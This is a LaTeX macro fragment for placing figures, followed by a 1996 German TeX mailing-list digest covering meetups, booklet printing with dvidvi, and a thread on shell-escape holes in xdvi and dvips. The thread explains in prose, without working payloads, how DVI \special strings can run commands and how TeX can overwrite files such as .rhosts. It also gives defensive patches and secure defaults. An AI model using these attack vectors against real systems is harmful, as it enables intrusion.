%\long\def\figwindow[#1,#2,#3,#4] {% % \advance\c@figure -1 % \begin{window}[#1,#2,{#3},{\def\@captype{figure}% % \wincaption#4\par}] } % %\long\def\tabwindow[#1,#2,#3,#4] {% % \advance\c@table -1 % \begin{window}[#1,#2,{#3},{\def\@captype{table}% % \wincaption#4\par}] } % ! Now the begin of my part %! Each picture or figure get a alphabetic number \def\labelpic#1{% \@bsphack% \if@filesw % {% \let\thepage\relax% \def\protect{\noexpand\noexpand\noexpand}% \edef\@tempaa{% \write\@auxout{\string\@ifundefined{c@#1}{\string\newcounter{#1}}{= }}% \write\@auxout{\string\setcounter{#1}{\thepage}}% }% \expandafter}\@tempaa% \if@nobreak% \ifvmode% \nobreak% \fi% \fi% \fi% \@esphack% } %! Here is the internal counter. \newcounter{@bildnrz} \newcounter{@bildnrzz} \newcounter{@bildnrzzz} \setcounter{@bildnrz}{0} \setcounter{@bildnrzz}{1} \setcounter{@bildnrzzz}{1} \long\def\figwindow[#1,#2,#3,#4] {% \advance\c@figure -1% %! look if the second parameter is "o", for outside. \def\zwparameter{#2}% \def\test{o}% %! Increase the internal counter \ifx\test\zwparameter% \addtocounter{@bildnrz}{1}% \ifnum\c@@bildnrz>26% \setcounter{@bildnrz}{1}% \addtocounter{@bildnrzz}{1}% \ifnum\c@@bildnrzz>26% \setcounter{@bildnrzz}{1}% \addtocounter{@bildnrzzz}{1}% \fi% \fi% %! The counter of each figure is set to the actual page. \@ifundefined{c@@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz= }}% {\newcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}= }% \setcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}= }% {\value{page}}% }{}% %! Look if the figure set right or left \ifodd\value{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \begin{window}[#1,r,{#3\labelpic{@bild\alph{@bildnrzzz}% \alph{@bildnrzz}\alph{@bildnrz}}}= ,% {\def\@captype{figure}\wincaption#4\par}] % \else% \begin{window}[#1,l,{#3\labelpic{@bild\alph{@bildnrzzz}% \alph{@bildnrzz}\alph{@bildnrz}}}= ,% {\def\@captype{figure}\wincaption#4\par}] % \fi% %! left or right as the user want \else% \begin{window}[#1,#2,{#3},{\def\@captype{figure}\wincaption#4\par}] % \fi} \long\def\tabwindow[#1,#2,#3,#4] {% \advance\c@figure -1% %! look if the second parameter is "o", for outside. \def\zwparameter{#2}% \def\test{o}% \ifx\test\zwparameter% %! Increase the internal counter \addtocounter{@bildnrz}{1}% \ifnum\c@@bildnrz>26% \setcounter{@bildnrz}{1}% \addtocounter{@bildnrzz}{1}% \ifnum\c@@bildnrzz>26% \setcounter{@bildnrzz}{1}% \addtocounter{@bildnrzzz}{1}% \fi% \fi% %! look if the second parameter is "o", for outside. \@ifundefined{c@@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz= }}% {\newcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}= }% \setcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}= }% {\value{page}}% }{}% %! Look if the figure set right or left \ifodd\value{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \begin{window}[#1,r,{#3\labelpic{@bild\alph{@bildnrzzz}% \alph{@bildnrzz}\alph{@bildnrz}}}= ,% {\def\@captype{table}\wincaption#4\par}] % \else% \begin{window}[#1,l,{#3\labelpic{@bild\alph{@bildnrzzz}% \alph{@bildnrzz}\alph{@bildnrz}}}= ,% {\def\@captype{table}\wincaption#4\par}] % \fi% %! left or right as the user want \else% \begin{window}[#1,#2,{#3},{\def\@captype{table}\wincaption#4\par}] % \fi} %! End of the changes \def\endfigwindow{\end{window}} \def\endtabwindow{\end{window}} \endinput ## CrossPoint v3.1 ## From owner-tex-d-l@VM.GMD.DE Fri Apr 19 15:03:53 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune Date: Fri, 19 Apr 1996 15:01:42 +0200 Subject: TeX-Stammtisch in Karlsruhe am 2. Mai 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 2.5.96: TeX-Stammtisch am 2. Mai 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From owner-tex-d-l@VM.GMD.DE Fri Apr 19 15:25:54 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Fri, 19 Apr 1996 15:04:57 +0200 Subject: Resume: Bilder immer aussen Leider bin ich erst heute dazu gekommen, "picinpau.sty" von Gundolf Frank auszuprobieren. Der Text, f"ur den ich es ben"otigt h"atte mu"ste noch mit Hand formatiert werden. Ich denke, da"s die Erweiterung um besagte "immer au"sen"-Option sehr sinnvoll ist. Allerdings beruht "picinpau.sty" auf einem sehr alten picinpar. Es gab bereits erhebliche Unterschiede zu meiner picinpar.sty Version (1.2a july 13, 1993), von der ich denke, da"s es die neuste ist (und die unter LaTeX2e l"auft. Was habe ich schlimmer also gemacht? Ich habe die (schlecht kommentierten -- ich wei"s, ich wei"s) "Anderungen bez"uglich des alten picinpar.sty in den neuen hineingeschrieben. Das funktioniert bis auf den Zeilenabstand des "zu bebildernden" Absatzes zum vorangegangenen Text. Der wird n"amlich eigenartiger Weise weggelassen. Woran das liegen mag, kann ich nicht beurteilen (vielleicht an meiner naiven Vorgehensweise). Ich wollte nur, um das Thema zu einem n"utzlichen Schlu"s zu bringen sagen: Ich halte es durchaus f"ur lohnenswert, Herrn Sowa nochmals zu bitten, diese meiner Meinung / meinem "asthetischen Empfinden nach sehr n"utzliche Erweiterung in picinpar aufzunehmen. Das betrachte ich allerdings nicht als meine Aufgabe, weil es nun mal nicht mein geistiges Produkt ist. Sollte er das nicht w"unschen, so w"urde ich mich "uber einen "`*anderen* Style mit der Funktionalit"at von picinpar 1.2a und der `immer au"sen'- Option"' (;-)) sehr freuen. Ich denke, da"s es kein Problem sein sollte, das was ich in wenigen Minuten zusammengeschustert habe, so zu tun, da"s auch der Zeilenabstand ordentlich wird (ich nenne es gar nicht bug, denn es war ja eigentlich nur ein Test). Vielleicht versucht es Gundolf Frank noch einmal mit dem neuen picinpar 1.2a und findet auch noch einen neuen Namen ... . Vielleicht kann sich Friedhelm Sowa, der doch sicher auch die tex-d-l verfolgt, zu diesem Thema "au"sern? Tsch"u"s Andreas. From owner-tex-d-l@VM.GMD.DE Mon Apr 22 10:12:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 19 Apr 1996 15:40:55 +0200 Subject: Re: Resume: Bilder immer aussen Andreas Tille schrieb: [...] : Ich denke, da"s die Erweiterung um besagte "immer au"sen"-Option : sehr sinnvoll ist. Allerdings beruht "picinpau.sty" auf einem sehr : alten picinpar. Es gab bereits erhebliche Unterschiede zu meiner : picinpar.sty Version (1.2a july 13, 1993), von der ich denke, da"s es : die neuste ist (und die unter LaTeX2e l"auft. Tja, ich hoffe, jetzt koennen ein paar Personen meine etwas heftige Reaktion darauf verstehen, dass man geaenderte Dinge ohne Kenntlichmachung einer Aenderung veroeffentlicht. [...] : [...] so w"urde ich mich "uber einen "`*anderen* : Style mit der Funktionalit"at von picinpar 1.2a und der `immer au"sen'- : Option"' (;-)) sehr freuen. [...] "wrapfig.sty" hat solch eine Option, jedoch habe ich nur eine aeltere Version dieses Paket einmal ausgeteste, so dass ich nichts darueber sagen kann, ob's Einschraenkungen gibt. wrapfig.sty: CTAN: macros/latex/contrib/other/misc/wrapfig.sty Gruesse & schoenes Wochenende, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Fri Apr 19 16:14:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Bernloehr Date: Fri, 19 Apr 1996 15:58:32 +0200 Subject: Re: Sicherheitsluecken in xdvi? Hallo, Hubert Palme schrieb: > Matthias Eckermann: > > > . . . > > > > Ich hab's ausprobiert, und siehe da, > > dvips verfuegt nicht umsonst ueber eine Option > > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > > bzw. unterbunden werden. > > Mit -R scheint es zu klappen, auch wenn dvips dann einen core dump > schmeisst. Aber kennt jemand eine Loesung fuer xdvi? -nopostscript > bzw. -noghostscript funktioniert bei uns (18f) nicht. Also dvips -R (mit dvipsk 5.58f) klappt bei mir so, wie es soll, und zwar ohne core dump. Ich habe wegen diesem Problem etwas mit xdvi (xdvik 1.8f) gespielt und kann einen Patch anbieten fuer diejenigen, die sich dieses Problems (so weit wie moeglich) entledigen wollen. Der Patch erweitert xdvi um Optionen '-nospecials' und '-safespecials', die die Verarbeitung von \special{...}-Daten im .dvi-File ganz unterbinden bzw. fuer den Fall, dass dort der Buchstabe '`' enthalten ist. Dasselbe kann dann auch ueber die X11-Einstellungen 'XDvi*specials: off' bzw. 'XDvi*specials: safe' erreicht werden. Da es ganz zweifellos Faelle gibt, wo solche \special{...}-Befehle gut und sinnvoll sind, bleibt die Voreinstellung wie bisher (alles erlaubt). Angebracht scheint mir die sicherere Variante aber z.B. bei WWW-Browsern, z.B. Mosaic, wo dann in der 'mailcap' Datei steht # Use modified xdvi in a safer way application/x-dvi; /usr/local/bin/xdvi -safespecials %s Der Patch schliesst im uebrigen einen schon vor einiger Zeit zirkulierten Patch fuer eine verbesserte Sicherheit in ghostscript ein ('-dSAFER' Option). Bei Interesse kann ich diesen Patch gerne auf den DANTE-Server stellen (aber natuerlich ohne Gewaehr). Gruss, Konrad Bernloehr From owner-tex-d-l@VM.GMD.DE Fri Apr 19 18:42:01 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Fri, 19 Apr 1996 17:17:47 MESZ Subject: Re: Sicherheitsluecken in xdvi? Konrad Bernloehr schrieb: > > Also dvips -R (mit dvipsk 5.58f) klappt bei mir so, wie es soll, > und zwar ohne core dump. > > Ich habe wegen diesem Problem etwas mit xdvi (xdvik 1.8f) gespielt und > kann einen Patch anbieten fuer diejenigen, die sich dieses Problems > (so weit wie moeglich) entledigen wollen. Der Patch erweitert xdvi > um Optionen '-nospecials' und '-safespecials', die die Verarbeitung > von \special{...}-Daten im .dvi-File ganz unterbinden bzw. fuer den > Fall, dass dort der Buchstabe '`' enthalten ist. > Dasselbe kann dann auch ueber die X11-Einstellungen > 'XDvi*specials: off' bzw. 'XDvi*specials: safe' erreicht werden. > Da es ganz zweifellos Faelle gibt, wo solche \special{...}-Befehle > gut und sinnvoll sind, bleibt die Voreinstellung wie bisher (alles > erlaubt). Angebracht scheint mir die sicherere Variante aber z.B. > bei WWW-Browsern, z.B. Mosaic, wo dann in der 'mailcap' Datei steht > # Use modified xdvi in a safer way > application/x-dvi; /usr/local/bin/xdvi -safespecials %s > > Der Patch schliesst im uebrigen einen schon vor einiger Zeit zirkulierten > Patch fuer eine verbesserte Sicherheit in ghostscript ein ('-dSAFER' Option). > > Bei Interesse kann ich diesen Patch gerne auf den DANTE-Server stellen > (aber natuerlich ohne Gewaehr). > Ich bastele auch gerade an einem entsprechenden Patch. Ich fasse jetzt nochmal kurz zusammen, was bisher hier in diese Richtung gepostet wuerde bzw. was ich aus dem Sourcecode herausgelesen habe. 1. dvips-5.58 bzw. dvips-5.58f (Karl Berry) Es gibt die Kommandozeilen-Option -R "run securely". Es gibt KEINE analoge Option fuer die config.ps (Bei mir funktioniert genau wie bei Konrad die Option -R einwandfrei). Generelle Abhilfe (auf die schnelle und brutale Methode): In dvips.c die Zeile Boolean secure = 0 ; /* make safe for suid */ in Boolean secure = 1 ; /* make safe for suid */ aendern und anschliessend neu kompilieren. Damit laeuft dvips IMMER im "secure mode" (Die Option -R ist dann ueberfluessig). 2. xdvi (Pl 20) fuehrt standardmaessig keine solchen Aufrufe aus. Es gibt aber die Kommandozeilenoption -allowshell bzw. den X Resource-Eintrag .allowShell -----------------------Auszug aus der Manpage-------------------------- -allowshell (.allowShell) This option enables the shell escape in PostScript specials. (For security reasons, shell escapes are usually dis- abled.) This option should be rarely used; in particular it should not be used just to uncompress files: that function is done automatically if the file name ends in .Z or .gz. Shell es- capes are always turned off if the -safer option is used. ------------------------------------------------------------------------- 3. xdvi 18f (Karl Berry) ist nicht gegen entsprechende Angriffe geschuetzt. Die Optionen -nopostscript/-noghostscript helfen nicht. Abhilfe: Entweder Patch von Konrad holen oder (wieder die schnelle und brutale Methode) in special.c folgenden Aenderungen durchfuehren: ---------------------------------------------------------------------------- --- special.c.orig Mon Dec 26 20:40:33 1994 +++ special.c Fri Apr 19 15:38:38 1996 @@ -627,26 +627,7 @@ int decompress; { if (decompress) { - FILE *pipe; - if (debug & DBG_PS) - printf ("%s: piping to PostScript\n", name); - - pipe = popen (name, FOPEN_R_MODE); - if (pipe == NULL) - perror (name); - else - { - char *line; - int save_debug = debug; - debug = 0; /* don't print every line we send */ - while ((line = read_line (pipe)) != NULL) { - psp.drawraw (line); - free (line); - } - pclose (pipe); /* Linux gives a spurious error, so don't check. */ - debug = save_debug; - } - + fprintf(stderr, "shell escape disallowed for special: \"%s\"\n", name); } else { /* a regular file, not decompressing */ psp.drawfile (name); } ------------------------------------------------------------------------------ Damit ist die Ausfuehrung von Kommandos nicht mehr moeglich. Meine "schoenen" Patches sollen bzw. sollten fuer xdvi 18f ebenfalls ein -allowshell einfuehren (Kompatibilitaet von xdvi pl20). Allerdings gefaellt mir das zusaetzliche -nospecials von Konrad sehr gut. Anstelle von -safespecials wuerde ich mir allerdings ein -allowshell wuenschen, so dass zum einen die Kompatibilitaet zu xdvi pl20 da ist und zum anderen ein Anwender wirklich explizit den "Shellmodus" freigeben muss. (Konrad: Vielleicht sollten wir uns koordinieren und dann einen Patch an Karl Berry schicken. Kannst Du mir mal Deinen Patch mailen?). Fuer dvips will ich versuchen, eine entsprechende Option fuer die Konfigurationsdatei einzubauen. Wenn das nicht zu aufwendig ist, schaffe ich dies vielleicht uebers Wochenende. Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Mon Apr 22 10:13:05 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 22 Apr 1996 09:21:27 +0200 Subject: Re: Sicherheitsluecken in xdvi? [... viele Mails ueber Sicherheitsluecken -- geloescht ...] Zur Notiz: -- Sicherheitsluecken in TeX -- 1) Dateien in TeX schreiben Schon jetzt ist es moeglich, dass man in TeX Systemdateien ueberschreibt. Unter Unix ist es z.B. ein Sicherheitsproblem, wenn die Dot-Dateien (z.B. .rhosts, .cshrc) im Homedirectory eines Benutzers ueberschreibt. Abhilfe: Da von den wenigsten TeX-Implementierungen eine symbolische Angabe des Homedirectories (Bsp: $HOME/... oder unter csh ~/...) verstanden wird, sollte man es sich angewoehnen, TeX __nie__ im Homedirectory aufzurufen. Besser waere es aber, wenn Implementierungen bei Dateiennamen, die Systemdateien bezeichnen (koennten), zumindest eine Warnung an den Benutzer ausgeben wuerden. Dies ist eng mit den neuen Moeglichkeiten des Filezugriffs in PostScript Level-2 verwandt, die jeder z.B. mit Ghostscript Version 3.* (ohne die Option -dSAFER) ausprobieren kann. 2) ``\system''-Befehl in TeX Es wurde des oefteren schon vorgeschlagen -- und in einigen TeX-Implementierungen gibt es dies schon ueber \write18 oder \write99 oder andere \write-Streams --, dass man von TeX selbst Programme innerhalb eines Formatierlaufs ablaufen lassen kann. Auch dabei gibt es, wie sich wohl jeder denken kann, ein Sicherheitsproblem, da man als TeX-Benutzer bisher ja nicht gewohnt war, dass TeX auf einmal Dinge "hintenrum" und evtl. voellig unbemerkt tut. Abhilfe: - stark reglementierte Verwendung, wie z.B. in PublicTeX, in dem in den ersten paar Zeilen des TeX-Dokuments zumindest ein Dummy-\system-Befehl auftauchen muss, ansonsten wird diese Moeglichkeit fuer den Rest des Dokuments untersagt; damit reicht die Inspektion der ersten paar Zeilen eines Dokuments, um zu sehen, ob solch ein \system-Befehl evtl. verwendet wird - zumindest Protokollierung der \system-Aufrufe - Default sollte abgeschaltete Erweiterung sein, wobei trotzdem die Verwendung des \system-Befehls protokolliert werden sollte - explizite Option zum Anschalten der Erweiterung Hintergrund: Das sich in Entwicklung befindende web2c-7.0 hat solch eine Erweiterung, wobei sie mittlerweile als Default abgeschaltet und entweder ueber die Kommandozeile oder das Konfigurationsfile explizit angeschaltet werden muss. 3) Allgemein: IMO sollten alle Programme eines TeX-Systems, von denen man nicht erwartet, dass sie beliebige Strings als Batch-/Shell-Skripte auswerten, dies __nicht__ tun, ohne dass a) man es explizit anschalten muss b) die ausgefuehrten Befehle deutlich sichtbar angezeigt werden (auch im abgeschalteten Zustand, damit man ein Dokument/dvi-File testen kann) Die erweiterte Moeglichkeit, (fast) beliebige Batch-/Shell-Skripte auszufuehren, soll per Default _nicht_ erlaubt sein, sondern sollte explizit vom Benutzer erlaubt werden muessen. Bisher wird dies bei den meisten Programmen genau anders herum gehandhabt -- es ist per Default erlaubt und jeder Benutzer muss es explizit verbieten. Gruende: -- die verwendeten Befehle sind in den meisten Faellen system-abhaengig, deshalb stellt ein Nichtvorhandensein als Default zwar eine gewisse Einschraenkung dar, jedoch wiegt die IMO nicht so schwer wie der daraus gewonnene Sicherheitsvorteil -- ich erwarte von TeX, xdvi, dvips, ... nicht, dass es beim Formatieren eines Dokuments, Konvertieren bzw. beim Anzeigen eines dvi-Files andere Anweisungen, die evtl. mit der eigentlichen Aufgabe __nichts__ zu tun haben, ausfuehrt -- ich will wissen, was die Programme `nebenher so treiben' -- ich will in einem Testlauf ueberpruefen koennen, was die Programme `nebenher so treiben' wuerden, falls ich es ihnen erlaubt haette Also bitte, liebe Implementierer und Patch-Ersteller, denkt auch einmal an die unbedarften Benutzer (und die boesen Makro-Hacker, wie mich, die solche Dinge in sehr unscheinbar wirkenden Makros verstecken koennen ) ...diskutiert obiges und erstellt eure Programme und Patches entsprechend, dokumentiert die Sicherheitsluecken und protokolliert bitte solche nicht vom Programm erwartete Aktionen mit (bietet zumindest die Moeglichkeit dazu, dies zu tun und schaltet es per Default _an_)! Hoert sich alles etwas aengstlich an -- aber bestimmte Ueberraschungen ("TeX-/dvi-Viren") wuerde ich mir dann doch lieber ersparen, wenn man beizeiten schon dafuer sorgen kann, dass sie es moeglichst schwer haben werden. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon Apr 22 15:17:02 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Lothar Meyer-Lerbs Date: Mon, 22 Apr 1996 13:56:31 +0200 Subject: CD Vorf"uhrung in Bremen In der heutigen Zeitung stand folgendes: Eine Vorf"uhrung von Dantes "`Die g"ottliche Kom"odie"' auf CD-ROM bietet Vincenzo Orlando am Dienstag, 23. April, 20.00 Uhr in der Universit"at Bremen (GW2, Raum B2890) --- \bye Lothar From owner-tex-d-l@VM.GMD.DE Mon Apr 22 18:07:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Mon, 22 Apr 1996 16:47:53 EDT Subject: TeX-Stammtisch in Berlin am 25. April 1996, 19:00 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Berlin trifft sich wieder am letzten Donnerstag im Monat (25. April 1996) 19.00 Uhr in der Gaststaette "Baerenschaenke" Naehe U-Bahnhof Oranienburger Tor. Alle, die Interesse an TeX, LaTeX, Postscript und anderen aehnlichen Dingen haben, sind herzlich eingeladen. Rolf Niepraschk .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: (030) 3481 316, Fax.: (030) 3481 490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Tue Apr 23 09:39:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Tue, 23 Apr 1996 08:38:49 +0200 Subject: Booklets mit dvidvi Hallo, da in de.comp.tex niemand antwortet, die Frage hier noch einmal: On 17 Apr 1996, Sebastian Kirsch wrote: > Date: 17 APR 96 20:32:00 GMT=20 > From: Sebastian Kirsch > Newgroups: de.comp.tex > Subject: Re: Booklets > Hi Martin! > In article <199604161712.a669@s3.maus.de>, > Martin Herrmann wrote: > >Dvidvi habe ich zwar aber leider keine Anleitung dazu. Kann mir jemand > >sagen wie ich auf ein DINA4-Blatt zwei DINA5-Seiten bekomme? > War bei dvidvi keine man-page dabei? :-/ > Also, 2 A5-Seiten kriegt man mit folgendem Befehl auf eine A4-Seite: > dvidvi -m "2:0,1(148.8mm,0mm)" dies.dvi zweiseit.dvi > Das ganze doppelseitig, so dass man das spaeter in der Mitte knicken kann: > dvidvi -m "4:-1,2(148.8mm,0mm)" dies.dvi dies.geradeseiten.dvi > dvidvi -m "4:-3,0(148.8mm,0mm)" dies.dvi dies.ungeradeseiten.dvi > (Hier druckt man den ersten Stapel aus, legt ihn wieder in den Einzug und > druckt die Rueckseite drauf.) UND hier meine (dumme?) Zusatzfrage: Wenn mein Drucker doppelseitig (auch im Landsacpe-Modus korrekt "gewendet") drucken kann, dann mache ich das WIE mit dvidvi (da half mir die man page naemlich nicht...) Danke fuer einen Tip! Konrad Blum --------------------------------------------------------------------------- Sender: Konrad Blum Sender: German TeX Users Communication List From: Anselm Lingnau Date: Tue, 23 Apr 1996 11:28:02 +0200 Subject: Re: Booklets mit dvidvi Konrad Blum schreibt: > Wenn mein Drucker doppelseitig (auch > im Landsacpe-Modus korrekt "gewendet") drucken kann, dann mache ich das > WIE mit dvidvi (da half mir die man page naemlich nicht...) Mit `normalem' dvidvi geht das nicht. Von Reinhard Zierke gab es mal eine gepatchte Version, aber ich weiss nicht, inwieweit die noch dem allgemeinen Publikum zur Verf"ugung steht (es ist schon eine Weile her). Man kann damit Sachen sagen wie dvidvi '4:-3,0(14.9cm,0cm);1,-2(14.9cm,0cm)' bla fasel und die Seiten werden f"ur einen duplexf"ahigen Drucker richtig sortiert. Eventuell muss man jede zweite Seite dann noch automatisch wenden, aber das geht mit einem zus"atzlichen PS-Headerfile. Damals jedenfalls (Sommer 1993) war es die Datei ftp.informatik.uni-hamburg.de:/pub/tex/dvidvi-rz.tar.Z. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de I almost never let theory get in the way of practice. --- Larry Wall From owner-tex-d-l@VM.GMD.DE Tue Apr 23 13:05:03 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Tue, 23 Apr 1996 12:43:31 +0200 Subject: Re: Booklets mit dvidvi On Tue, 23 Apr 1996, Anselm Lingnau wrote: > Konrad Blum schreibt: > > > Wenn mein Drucker doppelseitig (auch > > im Landsacpe-Modus korrekt "gewendet") drucken kann, dann mache ich das > > WIE mit dvidvi (da half mir die man page naemlich nicht...) > > Mit `normalem' dvidvi geht das nicht. Von Reinhard Zierke gab es mal > eine gepatchte Version, aber ich weiss nicht, inwieweit die noch dem > allgemeinen Publikum zur Verf"ugung steht (es ist schon eine Weile her). > Man kann damit Sachen sagen wie > > dvidvi '4:-3,0(14.9cm,0cm);1,-2(14.9cm,0cm)' bla fasel > > und die Seiten werden f"ur einen duplexf"ahigen Drucker richtig sortiert. > Eventuell muss man jede zweite Seite dann noch automatisch wenden, aber > das geht mit einem zus"atzlichen PS-Headerfile. > > Damals jedenfalls (Sommer 1993) war es die Datei > ftp.informatik.uni-hamburg.de:/pub/tex/dvidvi-rz.tar.Z. > > Anselm > -- > Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de > I almost never let theory get in the way of practice. --- Larry Wall > etwa so: tp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 174 -rw-r--r-- 1 src fbirz 41463 Jun 29 1992 dvidvi-rz.tar.z -rw-r--r-- 1 src fbirz 4785 Aug 20 1994 dvidvi.patch -rw-r--r-- 1 src fbirz 115063 Dec 15 1994 dvidvi.tar.gz 226 Transfer complete. ftp> pwd 257 "/pub/tex/dviware/dvidvi" is current directory. D A N K E ! -KB ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From owner-tex-d-l@VM.GMD.DE Tue Apr 23 14:38:37 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Tue, 23 Apr 1996 13:47:09 +0200 Subject: Re: Booklets mit dvidvi -----BEGIN PGP SIGNED MESSAGE----- > > > Wenn mein Drucker doppelseitig (auch > > > im Landsacpe-Modus korrekt "gewendet") drucken kann, dann mache ich das > > > WIE mit dvidvi (da half mir die man page naemlich nicht...) > > > > Mit `normalem' dvidvi geht das nicht. Von Reinhard Zierke gab es mal > > eine gepatchte Version, aber ich weiss nicht, inwieweit die noch dem > > allgemeinen Publikum zur Verf"ugung steht (es ist schon eine Weile her). > > Man kann damit Sachen sagen wie > > > > dvidvi '4:-3,0(14.9cm,0cm);1,-2(14.9cm,0cm)' bla fasel > > > > und die Seiten werden f"ur einen duplexf"ahigen Drucker richtig sortiert. > > Eventuell muss man jede zweite Seite dann noch automatisch wenden, aber > > das geht mit einem zus"atzlichen PS-Headerfile. > > > > Damals jedenfalls (Sommer 1993) war es die Datei > > ftp.informatik.uni-hamburg.de:/pub/tex/dvidvi-rz.tar.Z. Jetzt in ftp.informatik.uni-hamburg.de:/pub/tex/dviware/dvidvi: 115063 Dec 15 1994 dvidvi.tar.gz dvidvi von ftp.dante.de 4785 Aug 20 1994 dvidvi.patch Patch von Markus Kohm 41463 Jun 29 1992 dvidvi-rz.tar.z meine alte gepatchte Version Ich habe meine alte Version dvidvi-rz zwar immer noch auf dem FTP-Server stehen, benutze aber inwischen selbst die Version von Markus Kohm, weil ich die eingaengiger finde, d.h. dvidvi von ftp.dante.de (bzw. dvidvi.tar.gz von meinem Server) und dazu den Patch von Markus. Vielleicht sollte ich ihn auch auf den DANTE-Server packen. Beispiel: Aufruf f"ur Texte im A4-Format, die nach dem Umsortieren um den Faktor 1/1.2 verkleinert als A5-Heft gedruckt werden (Die Parameter fuer das Verschieben der Seiten mit -m muessen an das jeweilige Seitenlayout angepasst werden. Die angegebenen Werte passen fuer die LaTeX2e-Dokumentation): dvidvi -j -p 4 -m '1:-0(-1in,-1in),0(15cm,-1in)' texfile tmp dvips -c40 -x833 -Pd105_hp6 -t landscape -h reverse-back-page.ps tmp rm -f tmp.dvi reverse-back-page.ps dreht jede zweite Seite um 180 Grad: % reverse-back-page.ps: print back page bottom up /bop-hook {dup 2 mod 1 eq {595 845 translate 180 rotate} if} def Gruss, Reinhard - -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 == Weisst Du, UNIX ist fuer normale Menschen praktisch unbedienbar == F. Gers -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMXzDNEbfUueFIgaNAQEpJgQAj9Tn/EYc0VPwLaf94MLvys+pfZLbJZQs 8tHrhc25tQDPHt0F4fyjqjBWKrJ/xzX3twDCILf6TbnjOx3FGYxEjZ/BDZmrttmL hbESxEUeW1mBIKBKeuW9Etat7/+5PAS5OP2bhIyBqrKEeERMfw5/ATob6w0wYtgD bsqKJn7/Rv8= =9fW+ -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Tue Apr 23 14:39:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Tue, 23 Apr 1996 13:52:44 +0200 Subject: Re: Booklets mit dvidvi Lieber Anselm, der Tip war super. R. Zierkes Modifikation liess sich unter Linux sofort kompilieren und die Beispieldatei a5test.tex mit der von Dir angegebenen Kommandozeile (nach latex-Lauf...) mit dem mod. dvidvi zu einer *.dvi-Datei umsetzen, die mit dvips umgewandelt auf einem HP-Laserjet 5 im duplex-landscape-Modus genau richt sortiert und zusammengelegt herauskam. Nur noch einmal knicken und das "booklet" ist fertig. That's great - many thanks!!! Konrad 